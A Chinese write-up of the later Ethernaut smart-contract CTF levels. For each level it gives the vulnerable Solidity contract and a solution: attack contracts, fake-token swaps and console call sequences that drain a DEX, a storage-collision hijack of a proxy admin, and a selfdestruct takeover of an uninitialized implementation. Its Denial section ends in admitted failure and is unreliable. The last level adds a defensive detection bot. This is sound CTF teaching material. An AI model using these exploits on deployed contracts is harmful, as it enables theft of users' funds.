【Ethernaut闯关录】下篇
原文再续,书接上回,本文继续闯关,本次我们来完成剩余所有关卡。
Denial
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
通关条件:阻止合约所有者通关调用withdraw()
函数取回资金。
要想阻止其转账,貌似只有从call
和transfer
处入手,但是对于owner
变量和amountToSend
我们无法控制,因此我们只能从call
入手,该函数调用的地址partner
是我们可以控制的,因此我们可以尝试利用该外部调用,触发一个revert
操作。我原本想部署一个合约,然后在fallback
函数中revert
的
fallback()external{
revert('');
}
不过最终没有通关,网上找了一个
pragma solidity ^0.6.0;
contract attack {
address public target;
constructor(address _addr) public payable {
target=_addr;
target.call(abi.encodeWithSignature("setWithdrawPartner(address)", address(this)));
}
fallback() external payable {
assert(false);
}
}
依旧没有通关!
Shop
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
通关条件:将isSold
变量设置为true
同时将price
减小。
本关卡实际上和关卡【Elevator】的解法差不多的。但是不同之处是这里的price
是用view
进行修饰。
view修饰的函数,只读取状态,但不修改状态
pure修饰的函数,既不读取也不修改状态。
这里的修改状态,是指:修改状态变量、触发事件、创建合约、使用
selfdestruct
、通过call
发送以太币、使用call
调用任何没有被标记为view
或者pure
的函数、使用低级call
、使用包含opcode的内联汇编。
在关卡【Elevator】中,我们通过在合约中设置一个变量来区分是第几次调用,而本关卡已经无法继续使用该方法了,因为我们将来实现的price()
函数将不能够修改状态变量。
但是仔细想想,我们虽然不能通过本地合约中的变量来区分是第几次调用,但是不妨碍我们访问外部合约中的变量来确定啊,实际上我们可以通过判断Shop
合约中的isSold
变量来判断这是第几次调用,不过得使用staticcall
,该函数不会改变状态:
contract Buyer {
address public instance;
constructor(address _instance){
instance = _instance;
}
function attack()public{
(bool success, bytes memory returnedData) = instance.call{gas:100000}(
abi.encodeWithSignature("buy()")
);
require(success);
}
function price() external view returns (uint){
(bool success, bytes memory returnedData) = instance.staticcall(
abi.encodeWithSignature("isSold()")
);
require(success);
bool isSold = abi.decode(returnedData, (bool));
if(isSold){
return 0;
}else{
return 100;
}
}
}
Dex
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';
contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
通关条件:盗走合约中的两个代币之一即可。
该合约中的函数swap()
主要是实现给其他用户进行交换代币,然后通过getSwapPrice
实现类似“汇率”的功能,即如果合约拥有的两种代币余额假若不同,则调用方需要支付的代币数目就会和得到的代币(当然这两种代币是不同的)数目不一样,问题就出在“汇率”的计算,因为该值等于合约拥有的两种代币余额的比值,假设两种代币中,合约拥有数量较少的代币为A
,较多的是B
,那么我们将A
作为from_token
,那么我就可以获得比amont
还多的代币B
(因为比值大于1),并保证调用swap
后,合约拥有这两种代币的数量大小关系发生改变,接着我们就可以更换from_token
,继续调用,直至最后达到合约拥有某个代币的数量为0,例如我们先用10个token1
换取10个token2
,,此时,合约和我们的各种代币余额如下:
token1 | token2 | |
---|---|---|
player | 0 | 20 |
contract | 110 | 90 |
然后用20个token2
换取token1
,得到数量为$20*\frac{110}{90}$的token1
token1 | token2 | |
---|---|---|
player | 24 | 0 |
contract | 86 | 110 |
不断重复上述过程,不过在此之前要先授权:
await contract.approve(instance, 500)
然后按照上面的逻辑,不断交换两种token
。
await contract.swap('0x0ED5115953919866C5ED60f1fb44baBC356B5132', '0xc5e8b6e202a68a9C08BcF776138831D10A587714', 10)
await contract.swap('0xc5e8b6e202a68a9C08BcF776138831D10A587714', '0x0ED5115953919866C5ED60f1fb44baBC356B5132', 20)
await contract.swap('0x0ED5115953919866C5ED60f1fb44baBC356B5132', '0xc5e8b6e202a68a9C08BcF776138831D10A587714', 24)
await contract.swap('0xc5e8b6e202a68a9C08BcF776138831D10A587714', '0x0ED5115953919866C5ED60f1fb44baBC356B5132', 30)
await contract.swap('0x0ED5115953919866C5ED60f1fb44baBC356B5132', '0xc5e8b6e202a68a9C08BcF776138831D10A587714', 41)
await contract.swap('0xc5e8b6e202a68a9C08BcF776138831D10A587714', '0x0ED5115953919866C5ED60f1fb44baBC356B5132', 45)
完成最后的命令后,双方token
如下:
token1 | token2 | |
---|---|---|
player | 110 | 20 |
contract | 0 | 90 |
至此,我们已经将合约的token1
全部获取,达成通关条件!
Dex Two
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';
contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
**通关条件:**盗走合约中的两个代币。
这一关卡和上一关类似,只不过swap
函数中,去掉了代币种类限制。也就是说,我们可以通关部署我们自己的代币,然后给我们player和合约DexTwo
一定数量的代币,然后用新的代币换token1
或者token2
,即可实现:
pragma solidity ^0.8.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";
contract AttackToken1 is ERC20 {
constructor(address _player, address _instance) ERC20('AttackToken1', 'T1'){
// 我们分别给我们自己,以及合约 DexTwo 各一个token
// 然后我们我们使用数量为 1 的该代币,即可换取其100个 token1
// 因为合约 DexTwo 拥有 token 100 个,拥有 AttackToken1 1 个,二者相差100倍
// 我们就可以获取 1 * 100 = 100 个token1了
_mint(_player, 1);
_mint(_instance, 1);
}
}
contract AttackToken2 is ERC20 {
constructor(address _player, address _instance) ERC20('AttackToken2', 'T2'){
// 同上
_mint(_player, 1);
_mint(_instance, 1);
}
}
从控制台获取player
和instance
地址后,部署上面两个合约,然后进行授权:
await contract.approve(instance, 500)
Attacktoken1.approve(instance_addr, 500)
Attacktoken2.approve(instance_addr, 500)
然后就是调用swap
函数了。
await contract.swap(attacktoken1_addr,token1_addr, 1)
await contract.swap(attacktoken2_addr,token2_addr, 1)
Puzzle Wallet
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "../helpers/UpgradeableProxy-08.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
admin = _admin;
}
modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
**通关条件:**劫持钱包,成为代理的管理员
本关卡涉及代理,我们先来说一下代理模式,这是一种常见的设计模式,提供通过代理的方式访问真正的实例,生活中经理和秘书的关系实际上就是一种代理模式,我们要和经理打交道,先通过和秘书预约,秘书会转发消息到经理,经理的决策反馈到秘书,最终秘书会告知我们结果。
在程序设计中,如果我们要访问模块A,我们可以通过访问代理B,在代理B中,有模块A的对象实例,并且二者的接口几乎一致,使得我们调用B的时候,我们以为我们在调用A。
代理模式优点是:实现热部署,即如果我们业务逻辑要更新,我们只要在代理中切换实例对象即可,使用者并不知道服务有中断。
在智能合约中,该模式还有利于解决区块链中“一旦上链,就无法更新代码”的问题,我们可以部署一个代理合约,然后给管理员暴露一个切换真实实例的接口(函数),然后将转发功能在fallback
函数中执行。
获取本道题的实例后,得到一个地址,0xb042791D96306B9A1e7dD3B8f3e7734af2B37C8f
,然后在控制台输入:
await contract.methods
我们可以看到,都是PuzzleWallet
中的函数,可是实际上这个地址真的是合约PuzzleWallet
的实例地址吗?实际上并不是,我们在Ethernaut
的github项目中找到【工厂合约】,在
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './base/Level.sol';
import './PuzzleWallet.sol';
contract PuzzleWalletFactory is Level {
function createInstance(address /*_player*/) override public payable returns (address) {
require(msg.value == 0.001 ether, "Must send 0.001 ETH to create instance");
// deploy the PuzzleWallet logic
PuzzleWallet walletLogic = new PuzzleWallet();
// deploy proxy and initialize implementation contract
bytes memory data = abi.encodeWithSelector(PuzzleWallet.init.selector, 100 ether);
PuzzleProxy proxy = new PuzzleProxy(address(this), address(walletLogic), data);
PuzzleWallet instance = PuzzleWallet(address(proxy));
// whitelist this contract to allow it to deposit ETH
instance.addToWhitelist(address(this));
instance.deposit{ value: msg.value }();
return address(proxy);
}
function validateInstance(address payable _instance, address _player) override public view returns (bool) {
PuzzleProxy proxy = PuzzleProxy(_instance);
return proxy.admin() == _player;
}
}
可以看出,先是创建一个PuzzleWallet
合约,然后创建PuzzleProxy
并最后返回proxy
地址。
那为什么从abi
层面来看,又是PuzzleWallet
呢?其实这就是代理模式,我们实际上暴露的就是实际合约的接口,用户面向的是代理。
通过查看UpgradeableProxy
的【源码1】和【源码2】,我们可以发现,其在fallback
函数中使用了delegatecall
,该调用方式类似于库函数调用,借用远方地址的代码,修改本地的数据,但是该方式需要远方地址和本地地址有相同的存储槽相同,否则极易发生错误。
回到本关卡,为了达到将代理合约的管理员修改为我们自己,我们需要调用approveNewAdmin()
函数,然后该函数只有管理者本身才可以调用,那我们该如何下手?我们仔细一想,我们能不能使用delegatecall
来干点事,我们先看一下PuzzleProxy
的存储:
---------------------------------
|unused (12)| pendingAdmin (20) | <- slot 0
---------------------------------
|unused (12)| admin (20) | <- slot 1
---------------------------------
再看一下PuzzleWallet
的存储:
---------------------------------
|unused (12)| owner (20) | <- slot 0
---------------------------------
| maxBalance (32) | <- slot 1
---------------------------------
...
实际上二者并不相同,如果我们尝试使用delegatecall
的方式修改变量maxBalance
的同时,也会修改admin
。这是突破口。
我们再来看看,如何能够修改maxBalance
,支持修改改变量的函数只有两个,一个是init
和setMaxBalance
,前者是只能在创建合约时候调用,后者是需要我们在白名单内,我们再看看如何把我们加入到白名单中,加入白名单需要调用addToWhitelist
,而该函数又被限制了只能是PuzzleWallet
的所有者(owner
)才能访问,那我们看看能不能成为该所有者,很遗憾,PuzzleWallet
中没有函数可以做到修改所有者,但是实际上我们还可以继续通过delegatecall
进行。
由于pendingAdmin
和owner
是处于同一slot
,即我们通过调用PuzzleProxy.proposeNewAdmin
,即可完成对owner
的修改。
web3.utils.keccak256("proposeNewAdmin(address)")
'0xa6376746fd40c5ce12d104971ce46bc4c5b160393fb8e6810412fb23e06a0770'
// 取前 4 个字节
selector = '0xa6376746'
// 将我们的地址补全到 32 个字节
param = '000000000000000000000000' + player.slice(2,)
param.length == 64
// 调用
await web3.eth.sendTransaction({from: player, to: instance, data:selector + param})
await contract.owner() == player
完成上面以后,我们即可获取PuzzleWallet
的所有权。
然后将我们加入到白名单中:
await contract.addToWhitelist(player)
setMaxBalance
函数还有一个要求,即合约拥有的以太币要为零。通过查询,await getBalance(instance)
,我们发现,其内有0.001的以太币,如果我们想要通过execute
函数转走合约中的余额,就要求balances
中记录我们的余额不为零且大于要转走的数目,而现在该值为零,想要它不为零,则要先转入以太币,这样又造成了其余额增多,因此该方法不可取。
换句话说,如果我们如果能够通过某种方式使得balances[player]>player转给合约的以太币
,那么我们最后就可以通过execute
将合约中的以太币都转走。
再仔细看看,我们发现PuzzleWallet
中还有一个函数multicall
,该函数是用于实现一次性完成多次交易的,我们还注意到,其函数内有一段代码:
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
也就是说,在一次调用multicall
中,最多只能对deposit
调用一次,看上去心思缜密,但是实际上只是通过selector
来进行判断,而这一步骤是可以绕过的,即第一次我们调用deposit()
,第二次通过其本身调用multicall(deposit())
,然后我们就可以使用0.001以太币的代价使得balances[player]
修改两次(因为selector == this.deposit.selector
被我们绕过了,multicall(deposit())
是通过delegatecall
的方式调用,该方式调用时候msg
不会改变)
// 获取deposit()函数的签名
depositData = await contract.methods["deposit()"].request().then(v => v.data)
// 获取multicall(deposit())的签名
multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data)
// 通过一次调用multicall,实现两次调用deposit
await contract.multicall([depositData, multicallData], {value: toWei('0.001')})
// 确保合约记录我们的余额与合约拥有的代币数量相同
fromWei(await contract.balances(player)) == await getBalance(instance)
这里查询我们的“余额”使用
contract.balances()
是因为我们想要看看合约中记录的我们的余额是多少,即在合约看来,我们有多少钱,后者使用getBalance
是查询合约拥有的以太币。
下一步就是要清空合约中的以太币了:
await contract.execute(player, toWei('0.002'), 0x0)
await getBalance(instance) == 0
下一步,就是通过设置设置maxBalance
来修改admin
了:
player
_maxBalance = '0x000000000000000000000000' + player.slice(2,)
_maxBalance.length == 66
await contract.setMaxBalance(_maxBalance)
我只能说这道题,完全碾压我😭
Motorbike
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";
contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot {
address value;
}
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}
// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}
**通关条件:**将Engine
进行销毁。
虽然Engine
合约中没有调用selfdestruct
函数的逻辑,但是该合约继承了Initializable
,表明其具有更新的能力,为了更新Engine
合约,使其具有selfdestruct
函数的逻辑,我们要调用upgradeToAndCall
,该函数会先调用_authorizeUpgrade
,即对发起者进行判断是不是upgrader
,后者的值可以在initialize
中修改,前提是Engine
没有被“完全”初始化,即Engine
中的initialized
为1.可是其真的为1了吗?
通过简单的审计,我们可以得出结论Motorbike
是代理合约,Engine
是逻辑合约,后者继承了Initializable
合约,根据题目给的Initializable
合约链接,我们可以知道Initializable
中有两个布尔型变量,因此Engine
的slot 0 布局如下:
-------------------------------------------------------
unused(10)|upgrader(20)|initializing(1)|initialized(1)| <- slot0
-------------------------------------------------------
此外,Motorbike
合约将逻辑合约地址写入到了一个标准位置,即_IMPLEMENTATION_SLOT
。
我们可以先看看该合约中的内容:
slot = '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc'
await web3.eth.getStorageAt(instance,slot)
'0x00000000000000000000000099fd7881e8df22fbfc339184c2b7aa55bd803aa6'
await web3.eth.getStorageAt('0x09c53d4a08a1b840fa4401e5219bdd91557c74a9',0)
'0x0000000000000000000000000000000000000000000000000000000000000000'
我们可以看得到,实际上initializing
和initialized
都是false
。也就是说我们是可以调用initialize()
来将upgrader
修改为我们的地址,然后再调用upgradeToAndCall
,修改新地址为我们部署的合约,data
设置为调用selfdestruct()
,因此攻击合约如下:
pragma solidity <0.7.0;
contract MotorbikeAttack {
address public engin_addr ;
constructor(address _engin_addr)public{
engin_addr = _engin_addr;
}
function attack() public{
// 先调用 initialize() ,将Engine中的upgrader设置为本合约地址
_setupgrader();
// 部署一个含有 selfdestruct 逻辑的合约
ContractWithDestruct ct = new ContractWithDestruct();
// 由于在 Engine 中,会通过delegatecall的方式调用data
// 因此实际上是 Engine 会执行
(bool success, ) = engin_addr.call(
abi.encodeWithSignature("upgradeToAndCall(address,bytes)",
address(ct),abi.encodeWithSignature("destruct()"))
);
require(success);
}
function _setupgrader() internal {
(bool success, ) = engin_addr.call(
abi.encodeWithSignature("initialize()")
);
require(success);
}
}
contract ContractWithDestruct{
function destruct()external{
selfdestruct(msg.sender);
}
}
使用await web3.eth.getStorageAt(instance,slot)
获得的地址部署上述合约,然后调用attack
函数即可完成攻击。
DoubleEntryPoint
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/access/Ownable.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
interface DelegateERC20 {
function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}
interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}
interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}
contract Forta is IForta {
mapping(address => IDetectionBot) public usersDetectionBots;
mapping(address => uint256) public botRaisedAlerts;
function setDetectionBot(address detectionBotAddress) external override {
usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
}
function notify(address user, bytes calldata msgData) external override {
if(address(usersDetectionBots[user]) == address(0)) return;
try usersDetectionBots[user].handleTransaction(user, msgData) {
return;
} catch {}
}
function raiseAlert(address user) external override {
if(address(usersDetectionBots[user]) != msg.sender) return;
botRaisedAlerts[msg.sender] += 1;
}
}
contract CryptoVault {
address public sweptTokensRecipient;
IERC20 public underlying;
constructor(address recipient) {
sweptTokensRecipient = recipient;
}
function setUnderlying(address latestToken) public {
require(address(underlying) == address(0), "Already set");
underlying = IERC20(latestToken);
}
/*
...
*/
function sweepToken(IERC20 token) public {
require(token != underlying, "Can't transfer underlying token");
token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}
}
contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
DelegateERC20 public delegate;
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
delegate = newContract;
}
function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
}
contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
address public cryptoVault;
address public player;
address public delegatedFrom;
Forta public forta;
constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) {
delegatedFrom = legacyToken;
forta = Forta(fortaAddress);
player = playerAddress;
cryptoVault = vaultAddress;
_mint(cryptoVault, 100 ether);
}
modifier onlyDelegateFrom() {
require(msg.sender == delegatedFrom, "Not legacy contract");
_;
}
modifier fortaNotify() {
address detectionBot = address(forta.usersDetectionBots(player));
// Cache old number of bot alerts
uint256 previousValue = forta.botRaisedAlerts(detectionBot);
// Notify Forta
forta.notify(player, msg.data);
// Continue execution
_;
// Check if alarms have been raised
if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
}
function delegateTransfer(
address to,
uint256 value,
address origSender
) public override onlyDelegateFrom fortaNotify returns (bool) {
_transfer(origSender, to, value);
return true;
}
}
通关条件:部署一个异常检测机器人,监测合约并防止外部攻击者耗尽CryptoVault
,使其耗尽不应耗尽的代币。
本关卡参考自:http://www.snowywar.top/?p=3848
根据描述,我们知道我们有两个代币,一个legacytoken
,是一个被废弃的,还有一个是DcoubleEntrypoint
,是取而代之的新货币,即它是legacytoken
新版本
有个CryptoVault
的金库.提供一个sweeptoken
的方法,允许任何人向swepttokensrecipient
sweep.
检查就是我们不能转移Vault
的underlying
代币,实际上该地址是DoubleEntryPoint
地址。
部署时两种代币分别持有100,我们的目的是创建一个检测机器人,检测合约防止被外部攻击者耗尽cryptovault
。
通过观察LegacyToken
合约,我们不难发现,delegate
就是DoubleEntryPoint
的合约本身,意味着在legacyToken
上执行转移时,本质是DoubleEntryPoint.delegateTransfer
对于LegacyToken
合约:
onlyDelegateFrom
只允许delegateFrom
调用这个函数。在此案例中,只有LegacyToken
合约被允许调用这个函数,否则任何人都可以从origSender
调用_transfer
(即低级别的ERC20转账)。fortaNotify
是一个特殊的函数修改器,触发一些特定的Forta逻辑,就像我们之前看到的那样
_transfer
只检查to
和orSender
不是address(0)
,以及origSender
有足够的代币转账到to
,但它不检查orSender
是msg.sender
或花费者有足够的授权。这就是为什么我们有onlyDelegateFrom
修改器。
通过结合我们收集到的所有信息,你是否发现了我们可以利用的错误?回顾一下我们现有的知识:
CryptoVault
的underlying
代币是DoubleEntryPoint
。合约提供了一个sweepToken
来转账Vault中的代币,但它阻止了对DoubleEntryPoint
代币的转移(因为它是underlying
)。DoubleEntryPoint
代币是一个ERC20代币,它实现了一个自定义的delegateTransfer
函数,只能由LegacyToken
代币调用,并由Forta通过执行fortaNotify
函数修改器监控。该函数允许委托人将一定数量的代币从origSpender
转账到一个任意的接收者。LegacyToken
是一个已经被废弃
的ERC20代币。当transfer(address to, uint256 value)
函数被调用时,DoubleEntryPoint
(该代币的新版本
)delegate.delegateTransfer(to, value, msg.sender)
被调用。
问题出在哪里?因为LegacyToken.transfer
是DoubleEntryPoint.transfer
的 镜像
,这意味着当你要求转账1个LegacyToken
时,实际上你在转账1个DoubleEntryPoint
代币(要做到这一点,余额中必须有这两者)。
CryptoVault
包含100个两种代币,但 sweepToken
只阻止了 底层 DoubleEntryPoint
的转账。
但是通过了解LegacyToken
的工作原理,我们可以通过调用CryptoVault.sweep(address(legacyTokenContract))
轻松抽取所有DoubleEntryPoint
代币。
既然我们知道如何利用它,下一步就是阻止该过程。
当DoubleEntryPoint.delegateTransfer()
被调用时候,由于fortaNotify
修饰器,IForta
中的handleTransaction
最终先被调用。
为了进一步处理,我们先来了解一下msg.data
是如何被函数传递:
-
最初,
msg.data
被修饰器fortaNotify()
收到,将包含以下函数签名:function delegateTransfer(address to, uint256 value, address origSender)
-
然后将其发送到调用
handleTransaction(user, msgData)
函数的notify()
函数。这将更改我们的函数接收到的msg.data
-
最终的
msg.data
将包含函数handleTransaction(address user, bytes calldata msgData) external
的msg.data
;在第二个参数字节中,calldata msgData
将是delegateTransfer()
函数的实际msg.data
。这是我们为了获取origSender
的值而需要访问的内容。
下表显示了我们将开发的检测机器人看到的调用数据的排列。我们要关注的值是 0xa8
位置上的 origSender
:
偏移量 | 变量大小(字节) | 类型 | 值 |
---|---|---|---|
0x00 | 4 | bytes4 | handleTransaction(address,bytes) 的选择器== 0x220ab6aa |
0x04 | 32 | address | user 的地址 |
0x24 | 32 | uint256 | msgData 的偏移量 |
0x44 | 32 | uint256 | msgData 的长度 |
0x64 | 4 | bytes4 | delegateTransfer(address,uint256,address) 的选择器== 0x9cd1a121 |
0x68 | 32 | address | to 的地址 |
0x88 | 32 | uint256 | value 参数 |
0xA8 | 32 | address | origSender 参数 (我们需要关心的) |
0xC8 | 28 | bytes | 根据编码字节的 32 字节参数规则进行零填充 |
有了上面的分析后,我们就可以着手写我们的检测机器人的逻辑了:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}
interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}
contract AlertBot is IDetectionBot {
address private cryptoVault;
constructor(address _cryptoVault) public {
cryptoVault = _cryptoVault;
}
function handleTransaction(address user, bytes calldata msgData) external override {
address origSender;
assembly {
origSender := calldataload(0xa8)
}
if(origSender == cryptoVault) {
IForta(msg.sender).raiseAlert(user);
}
}
}
